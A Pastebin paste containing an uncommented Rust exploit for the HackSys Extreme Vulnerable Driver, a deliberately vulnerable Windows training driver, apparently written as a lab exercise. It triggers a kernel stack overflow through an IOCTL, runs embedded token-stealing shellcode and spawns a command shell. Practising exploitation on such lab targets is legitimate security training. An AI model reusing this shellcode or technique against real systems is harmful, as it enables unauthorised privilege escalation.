Advertisement
Guest User

Untitled

a guest
Apr 18th, 2019
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. extern crate winapi;
  2. use winapi::um::fileapi::CreateFileA;
  3. use winapi::um::memoryapi::VirtualAlloc;
  4. use winapi::um::ioapiset::DeviceIoControl;
  5. use std::ptr::null_mut;
  6. use std::ffi::CString;
  7. use std::process::Command;
  8.  
  9. fn main() {
  10. let shellcode = b"\x60\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\xba\x04\x00\x00\x00\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x39\x90\xb4\x00\x00\x00\x75\xed\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x61\x31\xc0\x5d\xc2\x08\x00".as_ptr() as *mut u8;
  11. let refshell = &shellcode;
  12. let fd = unsafe {
  13. CreateFileA(CString::new("\\\\.\\HackSysExtremeVulnerableDriver").unwrap().as_ptr(), 0xC0000000, 0, null_mut(), 0x3, 0, null_mut())
  14. };
  15. let allc = unsafe {
  16. VirtualAlloc(null_mut(), 0x100, 0x3000, 0x40)
  17. };
  18. let _copying = unsafe {
  19. (allc as *mut u8).copy_from(*refshell, 58);
  20. };
  21. let mut data = Vec::new();
  22. data.extend(std::iter::repeat(b'A').take(2080));
  23. let num = allc as usize;
  24. let bytes = num.to_le_bytes();
  25. data.extend_from_slice(&bytes);
  26. let input = data.as_ptr();
  27. let length = data.len() as u32;
  28. let mut lpbytes = 0;
  29. let _contact = unsafe {
  30. DeviceIoControl(fd, 0x222003, input as *mut winapi::ctypes::c_void, length, null_mut(), 0, &mut lpbytes, null_mut())
  31. };
  32. Command::new("cmd.exe").status().expect("failed :/");
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement